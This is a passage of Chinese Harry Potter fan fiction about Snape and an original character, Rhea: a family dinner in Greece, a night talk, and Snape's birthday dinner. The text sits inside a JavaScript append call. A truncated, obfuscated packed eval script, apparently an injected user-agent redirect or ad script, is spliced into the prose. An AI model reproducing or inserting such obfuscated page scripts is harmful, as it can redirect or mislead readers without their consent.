$(''#content'').append('' 后知后觉的雷格纳立马一愣,慌忙调整坐姿瞄向女儿,还有女儿身边脸色冷静的黑发巫师,踌躇地答道:“我们……不是。” “好啦,你们不用再瞒我啦。”外公爽快地揶揄三人,撇了撇嘴唇笑开:“真以为我什么都不知道啊?” “啊?”还在刚刚的事件中没有缓过来的蕾雅,惊愕地望向这位白发老人,“外公你都知道了什么?” 莱斯利调皮地眨眨眼,将倒满的酒杯推到他们的面前:“你们都是巫师,我早就清楚了。” “妈妈?”蕾雅倏地低唤一声,和雷格纳同时转向奥德莉亚,后者却是微笑着摇了摇头:“我可没暴露你们的小秘密哦。是外公自己猜到的,而且,他似乎还有更多信息呢。” “其实我们温斯洛家里曾有人是巫师的。”莱斯利见他们仍旧困惑,便开口解释道。他不慌不忙地盖好余下的酒,慢慢坐下来,示意他们快点开动饭菜,眼神饱含深意地睨着雷格纳,“所以我早就知道了,不是今天。” 现在换做雷格纳露出尴尬的表情,他面色呆然地端起酒杯,嘟哝道:“你别跟我说,当初我跟奥德莉亚在一起的时候……” “是的。”莱斯利哈哈大笑着承认,欣然地往自己盘中装上塔饼和沙拉,“你想想看,我也曾是英国的教授,就那么点大的地方,什么研究所,什么教授,以我的人脉还调查不出来吗?”说着,他毫不客气地顺带掠过沉默着切开牛排的斯内普。 “那你为什么……”雷格纳喝下一半杯中的酒,没有去拿任何食物,仍然略有不解的问莱斯利:“你当时没有拆穿我?还同意我跟奥德莉亚……” “因为我看得出你会全心全意地对奥德莉亚好,我不愿成为她和你的顾虑。”莱斯利叉起一大块茄子,继续说道:“再说,在那个年代,我们这小地方很多人都知道巫师的存在。” 蕾雅不敢接着说话,低头自顾自地将沙拉和羊肉串送入口中。 这家人啊——斯内普咽下味道正好的牛肉,抿着唇角,侧头看身边人一眼,随后体贴地用手指擦掉她沾在嘴角的奶酪碎。 “好、好吧。”也许是酒意开始发挥作用,雷格纳的脸上展开松弛的笑意,连忙起身举起酒杯向莱斯利致意:“真的,父亲,谢谢你的宽容和理解。能认识你,还有和奥德莉亚在一起,是我的幸运。”中年男巫的字句满载感激。 “一家人说这些做什么?”莱斯利和悦地与他干杯,又与斯内普递来的酒杯相碰,最后气氛转变为全家的欢乐碰杯,“所以呢,你们三个真正的身份是什么?” 雷格纳与斯内普对视一瞬,最终还是决定全部坦白。在这个家里,他们再也没有什么是需要隐藏的。 “嚯嚯,”莱斯利满足地咽下一大口酒,涨红脸激动地感叹道:“副司长、校长,还有年轻的魔法界警//察。我们家真是了不起!” 欧佐酒独特的甘甜清晰地残留在每一个人的口中,那是甘草、薄荷和丁香交织的馥郁。这之后的晚餐,笑声就在这些味道中充斥整个房间。晚饭过后,莱斯利和奥德莉亚带着恢复过体力的肉桂卷在花园和外面的小道散步,趁着蕾雅去沐浴的时间,雷格纳和斯内普略有疲倦地坐在屋外的廊下小酌。 是希腊和煦温柔的夜晚,微风轻拂,万里无云,远方浩瀚的海天都成为一种颜色,漫天的繁星与海洋的波光再也难以分辨。 “今天真的辛苦了。”雷格纳惬意地碰过斯内普的酒杯,掂起一颗橄榄扔进嘴里:“从早忙到了晚上。” 斯内普轻饮一口酒,习惯性地将端着杯子的手腕放在交叠的双腿上,指尖缓缓剐蹭杯沿:“我没做什么,是她又成长了。” “是啊,我也看见了。”雷格纳把酒杯搁置在一旁白色的铁桌,悠闲地靠在倾斜的椅背,远眺岛上灯火阑珊的夜景。 “说起来,她的天赋有可能来自奥德莉亚那边吗?”斯内普提出疑问。 “不能排除这种可能,毕竟这种东西谁也没研究清楚。”雷格纳诚实地答复,他略作思考,继而说:“你要知道,那台仪器被研发出来也不过十年,是检测错误也说不定。” “嗯,”斯内普应声,放远的目光停在天空中的猎户座上面,“也许我们不应该太在意这些。” 是啊,他也很清楚,这并不会影响她任何,更不会阻碍她今后进步得更优秀。 这个时候,雷格纳突然若有所思地转向黑发男巫,闪烁的眼神放得柔和又慈爱:“西弗勒斯,话说,我今天看到你对她的样子……你是没有打算吗?” 斯内普肩膀轻微一颤,仿佛被雷格纳的话语问住,他稍显不安地清了清喉咙,确认般压低声:“……什么打算?” 雷格纳没有立即回答,而是再度拿起一颗橄榄,脸上流露出明显的敏锐:“我是过来人,西弗勒斯。”他用另一只手指向自己,话语中有非常强烈的鼓励之意,莫名有些像莱斯利装点在花园门口那盏彻夜不灭的马灯:“我看得出来,你有多珍重她。” 但作为一名父亲,雷格纳这些话中有话的语句,听着又似乎夹杂些许无法放下的落寞。 他当然不是没有打算的。 白天的种种和她美好的笑靥在斯内普的心中铺开。他静默片刻,垂下眼睑,细看手间被他剐蹭数次的杯沿,再开口的嗓音变得低沉而沙哑:“再等等吧,我无意将她局限于我的狭隘生活,也不想仓促地束缚她。” 雷格纳低低地叹息,伸出手来轻拍斯内普宽阔的肩膀,表示理解:“明白,毕竟我们巫师的规则与麻瓜世界确实不同。”其实金发巫师想说而没有道出的是,他明白,爱意,存在很多的表达形式。 “嗯。”斯内普举起酒杯,冰块碰撞的声音清脆悦耳。他没有急着喝下酒,抿了抿薄唇,过了好一阵才平静地说:“不过,我确实有一事在打算。想回去后再跟你商量。” “好啊。”雷格纳不假思索地答应,温和地笑道:“任何事情,随时讨论。” 今天大抵是太过于疲惫,刚熄灯沾上枕头,斯内普就没有任何障碍地滑入深沉的睡眠,完全不像身处在一个陌生的地方。只是没想到,刚入睡不久,就被房门轻轻推开的细响唤醒。 身为一位常年行走在光影边缘的巫师,他凭借本能地伸手摸向藏于枕头下的魔杖。 也许只是调皮的肉桂卷无意中顶开他的房门,又或者—— 眼前靠近的模糊影子逐渐清晰,随之而来的是熟悉又温润的香气。 下一刻,斯内普感觉自己的床垫下沉一些,他清醒大半,用手肘支撑半坐直身,依然决定抬起魔杖去布置闭耳塞听咒,却很快被一只手阻止动作。 “我施过咒语了。”她轻轻地说。 看看,果真是成长不少,以前在魔药配置上的细致都反映到这些平日行动了。 在微弱晦暗的星光照耀下,松软的棉被发出窸窣的微响,是她摸索着跨//坐到他的身上。 斯内普探出手扶稳她的后腰,习惯性拖长着字句调侃:“怎么,是一个人睡不着,还是做了噩梦?” “都有。”他觉得她的声音有些沮丧,但在黑暗之中他无法捕捉到她的表情。 “都有?”斯内普的语气稍有惊讶,他想举起荧光闪烁或者开灯好看清她的状况,但又一次被她制止。更甚,她直接拿走他的魔杖,重新塞回他的枕头下面。 “蕾雅?”他只好无奈地用言语来确认,双手覆上她单薄的后背,稍稍一用力,她就像个布娃娃般被他摁在胸前。 没想到,她却很少有地没有像平时那样回应他,或者搭上他的肩膀,甚至连再多的动作都没有,真的就如同一个没有上发条的玩偶,触感还有点寒凉僵硬。 斯内普这才意识到有什么不寻常的情况。 他收紧手臂,低头亲吻她的发顶,担心地询问:“怎么了?” 长久的寂静横亘二人之间,蕾雅深深地在他颈间呼吸,稍微从他的环抱中挣脱出来,继而使劲将他推开一点。 “你为什么要跟爸爸说那样的话?你们到底还有什么事瞒着我?” 她开口的声音闷闷的,令斯内普不由地想起霍格沃茨连日不断的雨天。 85.等待 无可抑制的,又是那种感觉。 在斯内普的记忆中,已经很久没有如此频繁地感受到过。 除了几个月前那个害怕她变成小鱼游走的暴雨天,再上一次如此不由自主地产生这种情绪,已是很久以前,大概是五年级以及失去他曾经希望的那一年,他也这样过。 他内心很明白,这是因为他再次得到了不愿意失去、更不愿意放开的东西。 夜凉,是伸手见不到五指的黑。在这样的晦暗里,他却依然可以清晰地看见她,听见她略显紊乱的气息,能够——记起下午她毫无犹豫冲进那些倾圮废墟的身影。原来,这是他全部的忐忑不安。 蕾雅也在这样幽黑微凉的星光下凝视面前人,他好像在沉思些什么,臂弯却紧紧环绕着她,没有丝毫放松的意思。 他在想什么呢? 他今天在海滩上没有说完的话是什么呢? 晚上的时候,他跟爸爸讨论的那些与她有关的,又是什么呢? 我是不是又打扰到他了? 心绪揪成团团夜雾,她于缭绕纷乱里鼓了鼓嘴,低叹一口气,难免有些自顾自的内疚:“唔,我不该吵醒你的……抱歉,我这就回去。”她动作飞快地扭过身,想从他身上离开。 斯内普一顿,大约猜想到是她身上的格兰芬多天性又抢先了——他很清楚,在面对他的事时,她总是这样。不然,他也不会如此神奇地与她一同坐在这希腊外公家的客卧上。 从这些种种回过神来,他牢牢地箍住她:“既然来了,我确实有话想和你说。” 斯内普当然有无数难以一一向她言出的话语。 他本想告诉她,她的成长之路才刚刚开始,她会抵达他所不能及的地方。然而,他是那样地渴望能够将她永久长远地庇护于自己的羽翼之下。 与此同时,他也想告诉她,他深知总要有一个人为他们这段关系思虑。但她无需在这个年纪做出不相应的选择,其余的种种该是由他来考虑,这样对她来说是最好的。 西弗勒斯·斯内普总是如此。 既有许多的深情,也有许多的谨慎,许多的顾虑,许多的怯懦。 垂下的手掌碰到什么冰冷的东西,斯内普因此而按捺住心中的繁复。仔细地再摩挲一下,才发现是她的脚踝。他责怪般地叹息一声,很快调整坐姿,伸手将她按进暖好的被窝:“又没穿鞋?” “唔,一时冲动就跑过来了。”她若无其事地轻哼,在他的怀里咕哝道:“我保证是最后一次了。” 他才不信呢。 布料发出细微的声响,斯内普掖好被子,再次把她拢入自己的锁骨间,他的下巴轻搁在她的头顶。而后,一切都变为寂静,黑暗中仅有他低沉悦耳的嗓音响起,是他压在她的耳边说:“先告诉我,你都听见什么了?” “从我的天赋那里一直到,你说你不想……”蕾雅紧靠他,被他的体温烘得暖融融的,但她吞吐得犹犹豫豫,仿佛是害怕过重的语气就会惹得斯内普生气。 “看来你听到不少。”男人没有过多在意,只是搭在她腰上的手不自觉地环得愈发紧,“显然,我有些事需要向你解释。” “那你告诉我。”蕾雅忐忑地应声,指尖不自觉地拨弄着她刚好触到的,他左手腕上的银环,继而沿着他结实的小臂滑动,无意地推开他的睡衣。 “如果你继续这样,我恐怕就无法再解释下去了。”斯内普半是挖苦半是正色地制止她,随即将那令人分心的小手牢握在自己的掌中。蕾雅这才停下了动作,依然因为不安而用手指剐蹭他的掌心,低声催促道:“快说。” “首先是关于你魔力,”斯内普不紧不慢地开口,“你今天觉得见过这个场景,我想那大概是留在你潜意识中的事,在你一岁的时候。” “小时候?”蕾雅的语气中全是惊讶,“你怎么知道我小时候……是爸爸告诉你的!” 斯内普稍稍颔首,语调笃定地确认她的猜测:“既然他没有告诉你,我确实认为也不该由我来开口。” “爸爸还告诉了你多少关于我的事情?!”斯内普忽而觉得他替雷格纳分担了一些蕾雅的不满。果然,蕾雅不假思索就从他怀中坐起,颇为不悦地说:“不行,我明早就要找爸爸问清楚。” “只有这一件。”斯内普耐心诚实地回答,继而沉声追问:“你很介意我知道?” 蕾雅听不出斯内普的情绪,但被这么一问,她倒是立即软了下来,重新趴伏在他的身上:“当然不是。”她稍作停顿,很快又绕回重点:“……那你说的,不想仓促束缚我,是什么意思呢?”越说着,她的话语渐渐低迷下去,宛若窗外夜空一点点坠落天际线的星辰。 “你是不是又要说,我还年轻,所以你不想束缚我……可是,你中午那些没说完的话又是什么?”她从喉中挤出话语裹上的一丁点儿哭腔。她扬起下巴,抬手揉搓一下他的面侧,似乎想在朦胧的夜色中竭力看清楚这张她爱慕的脸,“你不打算继续说了吗?” “蕾雅。”有些话很难说出口,斯内普在这时绝望地觉得不如将他的心直接剜出来还干脆一点。“并非你想的那样。我只是后来认为这件事不该如此仓促,我也不该……”在毫无准备的情况下开口恳求。 剩下的半句话没能说完,因为他已被她温润如水的拥抱淹没。 “嗯,跟我想的一样。”她急促地打断他,压抑住即将溢出的哽咽,勇敢地向他坦白自己的想法:“你知道吗……我在想你或许是要给我一个惊喜。我当然明白你的意思,但西弗勒斯,先说好了。”她顿了顿,继续嘟哝起来:“我不是你的学生了,我不需要你那样地为我考虑周到。我有时候其实更希望你直接地告诉我,我希望……能替你分担,或者,我们一起烦恼。” 她无需他的考虑周到,她想要跟他共同烦恼。 这两句话轻柔地叩在斯内普的心底。 斯内普又想起那个滂沱大雨的夜晚,她把他按在沙发上,对他说“别再想一个人抗下所有了,教授!” 很确信,就在这一刻,他对她的那种“不想放手”的情绪又浓烈地增添许多。 他的头深埋在她的发间,高傲的鼻梁轻抵到她的颈间。明显地闻到早已深刻入骨属于她的香气,不知道为什么,他的内心突然涌现出一种感觉,觉得自己又是被她狡猾地一点一点引诱着说到这里的。 在两个人都无法看清对方神情的黑夜,唯一可以确认彼此情绪的,大概也就只有无法掩饰的心跳。所以,斯内普十分懊恼自己没有办法让聒噪的心脏在这时慢下来些,更懊恼发觉此刻很难做到推开她,不让她察觉到他的难堪与内心的动摇。 算了。 他暗自叹息,决定不再抗拒。 “其他的我今后会尝试按你的想法。就对于这件我们在探讨的事,我更愿意‘考虑周到’。”他转过脸压在她的嘴边低低地说道,手不经意地覆在她的后脑勺,微微拨弄她的耳畔,压低声:“只希望有些人能有更多耐心。” “哦?真的不是你今天中午没有忍住?”蕾雅脱口而出,随即后知后觉地因他的话而满心泛起跟他体温差不多的温热。她终是被他逗笑,不再坚持,而是俯身投降似的轻碰他的薄唇,柔和又淘气地耳语:“那请校长先生更‘周到’些,把我今晚的记忆拿走吧。” “如果这样能使你今晚安睡,我当然愿意这么做。”他认真地答复,很快阻止了她更多的、可能继续下去的动作。他领着她起身,不留余地地调侃她:“所以,如果你还选择继续呆在这里,我会认为你需要我这么做。” “好嘛。”蕾雅明白他的言下之意。最终,她拨开他半长的发,仍有眷恋地在他的额角印下一吻,“那我回去了?” 更深夜阑,月落参横。 谁也没想到,晚安吻以后,斯内普不仅送她回了房间,而且一直陪伴她直到她进入沉梦。 …… 第二天,瑰丽金红的阳光又一次温柔地涂抹在陶瓦屋顶之上,反射出炽烈到令人难以睁眼的辉光。那些繁盛的橄榄树用每一片枝叶去迎接这些鲜亮,而希腊的海亦依然是那样晶透闪烁,浩茫无尽的蓝,让每个目及的人都能怀揣一些同样明快鲜亮的心情。 简单的早餐之后,斯内普和蕾雅没有再麻烦外公和雷格纳,选择直接幻影移形至洛克珊的酒馆前。他们约定好了跟她一同去探望那对母子。 昨日已成一片废墟的房屋现已被傲罗们谨慎地修复。蕾雅戴着一顶绑有丝带的遮阳帽,牵着肉桂卷看那个三岁男孩在满是芳香植物的花园中玩耍。男孩拥有比肉桂卷的灿烂毛色要稍微深一点的金发,站起来的时候刚好跟抬头的肉桂卷差不多,正跌跌撞撞地追赶、试图抱住大狗。肉桂卷故意保持着男孩追不上的速度陪他嬉闹,蕾雅微笑地看这一幕,不时稳住手中的绳子,防止肉桂卷让男孩跑得过快。 屋内的斯内普不动声色地从屋外人那身白棉麻连衣裙上抽回视线,韶光正在那里碎成几块浅薄的斑斓。侧过脸,那位已无大碍的母亲走近他们前方,感激热心地端来一壶希腊山茶。温和的淡柠檬茶香渐渐飘散开,如同室外的暖光无声地渗透弥漫整个空间。 “斯内普先生、格奥尔加斯老板,现在家里也没什么好款待的,但我真的很感谢你们,也替我特别谢谢莱恩哈特小姐。”那位女性用不熟练的英语缓慢地道谢,眼中依然有余悸未消。据她解释,她并不清楚孩子那位久不归家的父亲是个巫师,“昨天是因为孩子不愿下楼吃饭,我们才争吵了几句,真没想到会演变成那样。” “不必在意,这种事情在巫师社区也不是什么新鲜事。”斯内普平淡直接地说,脸上没有多少情绪:“重要的是预防未来的情况。我给你带来了一些紧急稳定用的药剂,可以用来应对短期情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见蕾雅边咀嚼涂满橄榄油的面包片边撇过头去看肉桂卷,不好意思承认,斯内普则轻描淡写地替她回答洛克珊:“我能想象。”随后,他面无表情地垂下眼睑,随手在书本扉页上给洛克珊签了个名字——梅林知道,他当然并不热衷做这些事。 好吧,既然都到了大陆的另一边,偶尔也无所谓不拘泥于平日的原则。他这么想着,慢慢端起浓咖啡啜饮一口,黑眼珠移到蕾雅的那侧,平直地说:“她什么都写在脸上。”说完,搁在桌子底下的手就被蕾雅狠狠地按了一下。于是,他不慌不忙地趁机抓牢她的手。 “谢谢,我可要好好珍藏这本书!梅林也想不到我在希腊碰见了西弗勒斯·斯内普!”洛克珊欢乐地用魔杖把书收回柜中,另外倒腾出一小盘油橄榄和奶酪片,就这些喝起酒来,“那么,校长先生那时候就对她有感情了?” 那时?蕾雅倏地从肉桂卷身边回过头,顺带扫一眼依旧阴沉着脸色的斯内普。 说实话,她其实也很想知道,斯内普是从什么时候开始对她抱有感情的。 “我想,他那时并没有空想这些。”蕾雅轻声插入对话,手也被对方报复般稍微捏了捏,然后两人的手紧紧相扣。 “也是啦,这么大一场战事,他还是卧底。”洛克珊爽朗地笑了笑,露出洁白的牙齿。见斯内普并不是很有兴致谈论这个话题,她识趣地把谈话目标锁定在蕾雅:“那么,今年还要写明信片吗?我搞到了一些比之前还要精美的,还有那种会动的麻瓜照片哦。” “会动的麻瓜照片?”蕾雅好奇地探头看那叠从吧台后方窜出来的明信片,它们随着洛克珊魔杖挥动整齐摆放在蕾雅眼前。果然,只要拿在手上左右晃动,那副描绘着蓝宝石般海水的照片蓦地就变幻为帕特农神庙映照在夕阳下的肃穆。 “麻瓜们称这个为光栅照片。”洛克珊热心地担任解说,见蕾雅十分有兴致的样子,立刻给她塞了一支钢笔,“算你便宜的!” 其实也无所谓价格的,而是这些明信片寄回去肯定会让大家觉得很新奇。 所以,她再一次写下祝福的明信片,除了之前的那些人以外,她还寄给了留校当助教的纳威和德拉科。而在寄给邓布利多和其他教授的祝福语以及新年快乐的问候下,他们第一次,署下两人的名字。 From: Rhea L. Severus S. 他们在这里一直呆到新年。 看够了无边的蓝海,漫山遍野的红棕,还有绚丽到令人餍足的落日。 假期结束返回英国,斯内普几乎毫不停歇地便前往霍格沃茨,与邓布利多进行学期工作交接。蕾雅也同样忙于重归到傲罗办公室的日常——训练、案件整理、测试和课程等等琐事纷至沓来。 不过,即使在英国这霜冻绵绵漫长的一月,蕾雅还是由衷地感受到了跟他一起看的那片盛大明亮的艳阳——它似乎永远地长在了她心里。 86.生日 三个人抱着一大叠羊皮纸离开座位,靠近前面的哈利率先踱到门前,用背抵住厚重的木门,好让蕾雅和罗恩穿过。 “谢谢。”蕾雅稳了稳手里那沓比实际重量要沉重不少的说明文件,朝哈利扬起下巴道谢。 还没走出会议室得太远,罗恩就忍不住开口评价:“没想到还要出国训练。什么黑巫师事件……最好别让我们撞上美国版伏地魔才好。” “伙计,这个我完全同意。如果是那样的话,我也无能为力了。”哈利爽朗地笑了一声,顺带开起玩笑。他为突如其来的旅行计划感到兴奋,但很快又忽而显得些许落寞,“只不过,这样看来,我们恐怕赶不上金妮和卢娜的毕业典礼了。” 他们讨论的是刚刚斯威克主任在例会上公布的新决定,部分傲罗将在接下来的二月份前往美国,参加当地应对黑巫师的训练。这次训练的契机很特别,因为与刚刚经历战乱获得久违和平的英国不同,美国魔法国会最近频频收到多起黑巫师袭击、偷窃的报告。有种种迹象表明,一股隐藏的黑暗势力正在美洲大陆的阴影中蠢蠢欲动。 鉴于美国当局不排除这些事件与逃亡在外的食死徒有关,现任魔法国会主席特地向英国魔法部部长金斯莱·沙克尔咨询。两人一作讨论,金斯莱本就打算进一步推进魔法部的改革、引入新生的风潮,也就趁这个机会安排英国傲罗参与交流——既可帮助当地调查,又为新入职的傲罗提供一次难得的实战历练。因此,最终决定是从二月份开始,他们几个新晋傲罗也跟随队伍前往美国驻留半年。 当时候,等他们再次返回英国,正式的傲罗考核也将近在眼前。 “要不问问汉密尔顿副主任,说不定到时候能请一天假。”回到办公室,蕾雅将羊皮纸卷起来,放到手侧的柜上。那上面已经堆积了不少调查案件的资料,从嫌疑巫师生平到案发地的地理信息,应有尽有。显然,案件处理的流程对她来说已是得心应手。 “你说得对,一天也没什么大不了的吧?只要能排上跨国飞路网的队,当天来回应该没问题。”哈利随手抓了抓乱糟糟的头发,将背包甩上肩膀,转头看向正在往包里乱塞东西的罗恩,半开玩笑地问:“等会儿什么安排?回家?还是去吃顿晚饭?” 最近总是如此,听哈利说,在布莱克和卢平都全心投入霍格沃茨的教育重建后,布莱克明显延长了每天待在学校的时间。即使是没有课程安排的日子,他也会去霍格沃茨,或是在教师休息室埋头处理教材改革工作,或是——与马上在下学期上任的神奇生物课教授待在一起。 说起来,那位比布莱克小几届的教授在学生时代就认识他。彼时,她曾误以为布莱克也喜欢莉莉·波特。后来虽然得知詹姆斯和莉莉结婚了,但又因伏地魔势力迅速扩张,布莱克作为凤凰社的一员忙于参与战争,两人因此渐渐失去了联系。没想到上次战争胜利的晚宴,她被布莱克认了出来。从那以后,两人就偶有书信来往。而当霍格沃茨在去年十一月公布新教师招聘启事时,她在布莱克的鼓励下,递交了申请。 原本就为教父感情生活操心的哈利,当然不会埋怨布莱克越来越迟的夜归。只是,经历过连续太多日餐桌上一个人孤零零的冷清,哈利索性开始拉着同事们吃过晚餐才回去——毕竟,他实在不喜欢与克利切在空荡荡的老房子中大眼瞪小眼。 “今天我也想去,你们要去哪里吃?我刚好想去商场。”哈利没有想到,是蕾雅比罗恩还热切地回答他的话。蕾雅有时会加入他的“饭局”,但通常不会在周五——因为魔法部教育司的例会一向安排在那天。 “今天不去约会?”罗恩拎起背包,斜靠在蕾雅的桌子边抱起双臂,顺带接替同样疑惑的哈利,直截了当地问她:“今天可是周五哦。” “明天是他生日,我还什么都没准备呢。”蕾雅有些心虚地低语一句,绝对不会向好友们承认她什么都没准备,是因为她绞尽脑汁想了五六天,最终也无法决定该为他准备什么。收起思绪,她回答:“所以,今天就不见了。他最近晚上好像也很忙。” “好吧,边走边说。”哈利转过身,“等下电梯就很挤了。” “我们走了,埃琳娜、贾斯廷。”三个人与才回到座位的余下二人道别。蕾雅怀抱着单肩包,跟上哈利和罗恩走向升降梯厅。 罗恩落在等升降机的队伍末端,回过头,意味深长地继续刚刚的话题:“那你打算和我们一起去挑选他的生日礼物?想买什么?” “蕾雅,你确定吗?”哈利闻声,笑着扬起眉毛,镜片反射出戏谑的一点微光:“你知道罗恩上次给赫敏送了个什么东西?” “喂。”罗恩咂了咂嘴,用手肘重击哈利。 “我当然听说了,毕竟气得赫敏三天没睡好觉呢。”蕾雅白他俩一眼,随后抬头瞥向铁栅门上缓慢移动的金属标记,没好脸色地声明:“当然不是跟你们俩去挑!你俩只是顺带着我和赫敏一起吃饭的。” “你要知道,蕾雅。跟赫敏和罗恩一起的话,你只会觉得自己是电灯泡。”哈利毫不留情地指出,“可好像提议去吃晚饭的明明是我?” “那你该感激我,没让你成为他们俩唯一的电灯泡,哈利。”蕾雅一本正经地反驳,轻轻碰了碰哈利挤在她身侧的肩膀。三人旋即捂着嘴在轿厢中笑了起来。 当晚,他们先去吃了一顿汉堡,美其名曰让不去美国的赫敏也能提前感受他们未来半年的伙食。而后,四个人吵吵嚷嚷地穿梭于麻瓜商场与对角巷,帮助一脸愁容的蕾雅给那位神色倨傲、性情古怪的校长准备生日礼物。 至于礼物推荐么,从贵价魔杖抛光套件(蕾雅完全不明白为什么巫师会需要这个),有墨黑纹路的领带,一整套炼金术书籍,精美的笔记本,品质极高的羽毛笔和墨水,到稀罕魔药药材,再到——蕾雅本人在那天该穿上的服装,几个人都替她拿了主意。 对的,就是因为跟这三人天天在魔法部厮混,蕾雅时常产生一种自己从来没有真正地从霍格沃茨毕业的错觉。 …… 1999年的1月9日,是星期六,霍格沃茨下小雪。 尖塔上的大钟敲过五下,天已经完全黑了下来,窗外笼罩着一片薄凉的玄色,点点白雪飘忽地掠过窗棂,划出模糊不清的弧线,转瞬即逝。 一整个下午都与德拉科讨论魔药学教材的修订方式,到了四点过后,斯内普才回到校长室,去处理堆积一周的教学改革计划书,以及各种信件。这是过去半年来,他每个周末的例行事务。幸好,他的效率一贯很高,赶在五点前便全部完成了。 邓布利多侧过头,看到黑发男巫将最后一份信件折好塞进信封,知道斯内普已完成今日的工作,便闲聊起来:“不得不感叹,德拉科提出的那些办法,竟意外地行得通。”他放下那杯蜂蜜红茶,斜斜地倚靠在沙发上,膝头摊着一本麻瓜小说,一如既往地,用干枯的右手抚了抚花白的胡须。 “只能说,马尔福一族的血液终究是流淌在他身上。一开始我也以为这不过是他贵族式的做派——什么联谊日、交际舞会、茶话会、合作课堂。配合提高程度的违规惩戒,倒是呈现出不一样的效果。”斯内普收拾好办公桌后,起身绕过桌子,“又或者是,霍格沃茨早该下如此决定,也许,早个二十年?”他嗤笑一声,将之前搭在沙发扶手的黑袍随意披上身。 “还有格林格拉斯,我相信阿斯托利亚没少给他出主意。”邓布利多清清嗓子,眨了眨右眼,忽略斯内普的话里有话,笑着说,“也是只有年轻人才更了解彼此,德拉科一向很有主意。我不得不感慨,才能一旦被用对地方,就会焕发出令人难以估量的效果。” “确实。”斯内普懒懒地附和,一刻也不想再与邓布利多在这耗时间。他从搁置在壁炉上方的铁盒中抓了一把飞路粉,撒入燃得正旺的橘色火堆,“那么。”像往常般,他冷漠地点了点下巴,以简洁的词语与邓布利多做告别。 邓布利多抬起头,对上壁炉中骤然窜起的那团绿火,火焰后是一张相比过去明显多了几分血色的脸:“生日快乐,西弗勒斯,祝你有个美好的夜晚,也替我向蕾雅问好。” 他由衷地祝福男巫,快速地挥动左手的魔杖,下一刻,一个淡紫色的物件越过烈火,倏地落入斯内普的手中,和他一同消失在壁炉的绿芒光辉中。 蜘蛛尾巷的家中,已有个人在等他。 屋外是猎猎的一月寒风,屋内却洋溢着壁炉炭火炽燃和食物香气交织而成的气味。厨房的方向有潺潺水流声,偶尔夹杂一两下锅铲剐蹭的细响,莫名地令整个空间愈加和暖温馨。 这些对他来说都不算陌生了,虽然他也的确为此恍惚过一阵,但如今,他的生活中存在某种他没有预料过的东西,安然地、平稳地,长在那里。 把邓布利多给他的东西撂在茶几上,他垂下眼眸,才发现这里还整齐地摆有几份包装精致的礼物,大小形状不一。有几份包装不太一样,还附带信件,斯内普随手掂起一份,拆下信件,没想到竟然是来自卢修斯·马尔福。翻过背面,镶着墨绿与金色花边的信封封口处用深红色的蜡封封闭,蜡封上压印着马尔福家族的家徽。 他扯了扯嘴角,不明白自己的生日何时变得人尽皆知。没打算继续拆开,他把信件与礼物重新叠好,转身脱下黑袍与外套,用魔杖送到玄关的衣架上,那里已挂着一件浅色羊绒大衣。他抽回视线,不紧不慢地迈向室内。 烛光被调得很低,除了餐桌上的香薰蜡烛以外。花瓶中的圣诞节花饰已被换下,现在是假日里他们共同制作的绣球永生花。冰桶中预先凉着一瓶香槟,另有精灵酿造的干红在醒酒瓶中。盘中的无花果沙拉散发着清新可口的甘香,刚煎好的蒜香黄油蘑菇还冒着细微的热气,同样留有余温的,还有在烛光映衬下显得愈发金灿的南瓜汤。 至于主菜,他闻到了胡椒和迷迭香的芬芳,嗯,牛排。 以及,淡淡的柠檬酸涩、白酱和奶油的浓郁,嗯,白酱焗鳕鱼。 斯内普的薄唇不自觉地牵动一下,顺着水声的方向缓步踱去。最先进入他视野的,是系着围裙在他家调理台前忙碌的身影。围裙下是一袭简单的黑色短裙,将她的身形衬得更加纤细,惹人怜惜。 他的视线停驻在她的背影上半晌,静静注视着她翻煎牛排、炖煮鳕鱼的动作。眼神稍稍一偏,又落在一个已完成的蛋糕上——奶油被巧妙地塑造成福灵剂瓶的模样,点缀在蛋糕之上。 这一切都不算是什么奢华丰盛,可是对于他来说,只要由她亲手做的,都远胜过世间任何佳肴美味。而且,等能察觉到这件事的时候,斯内普已不可自抑地沉沦。 他按捺住胸腔内升起的愉悦满足感,以指背敲了敲门框。面前的人应声回头,那张明媚的脸庞因微光而带有一点淡红,唇角带着暖暖的笑意:“你回来啦?生日快乐,西弗。” “嗯,我回来了,看来正是时候。”男人低哼一声走过去,从背后环住她,低头将吻落在她雪白的颈侧:“你一个人准备了这些?是不是有点太多了?” “一点都不多,今天是你的生日呀,西弗。”蕾雅毫无犹豫地晃晃脑袋,又犹有顾虑地望向锅中还没好的牛排,说道,“你到外面等我?” “如果你不需要我帮忙的话。”见蕾雅果断地回绝他,他顺从地松开手,退出厨房,坐到餐桌前面去。 没过一会儿,蕾雅用魔杖指挥着准备好的晚餐有序地落在餐桌。烛光在餐具间燃得更为明亮,跃动的烛焰把她那双绿眸映得清亮动人,犹如盈盈波光般绚丽。她挽起的盘发间垂落几缕发丝,落在她的耳边脸侧,添了几分不经意的妩媚。 到底不是他从前的学生了,不过仅去小半年。 “生日快乐,西弗勒斯。”蕾雅举起香槟,与他手中的玻璃杯相碰。她咽下口中清冽的酒液,细致地切下一块鳕鱼,放到他的白瓷盘上。 斯内普用叉子叉起蘸满酱汁的鳕鱼送入口中,“谢谢,做得很好吃。”他丝毫不掩饰对她的赞赏,踌躇一阵,又认真地对她再次强调:“其实不必专门为我准备这么多。” “本来还有更多呢。”蕾雅切开牛排,蘸上一点黑椒汁,对男人眨了眨眼,“我原来有想过很多要跟你庆祝的办法。” “哦?都有哪些?”斯内普侧眸好奇地看向她,将香槟一饮而尽,打开手侧的红酒。 “嗯,”蕾雅暂时搁置下手中的刀叉,下颚稍稍垫在支起的手间,微笑着说道:“比如,把这里布置成一个小小的、满是星光的迷宫。等你回来后,你得在那些弯弯绕绕中找我。每一个拐角处,我都会为你准备一份礼物,送给那些我没有赶上的你的生日,或者,送给不同身份下的你——无论是教授、凤凰社成员、还是我爱的你。” 斯内普听后一愣,不知道这家伙是怎么做到如此面不改色地道出这么肉麻的话语的。 握着酒瓶的手微微停滞,他闭了闭眼,随即挑起眉,将深红色的酒缓缓倒入二人杯中。他似乎本想说些什么,却终究只是放下酒瓶,安静地听她继续。 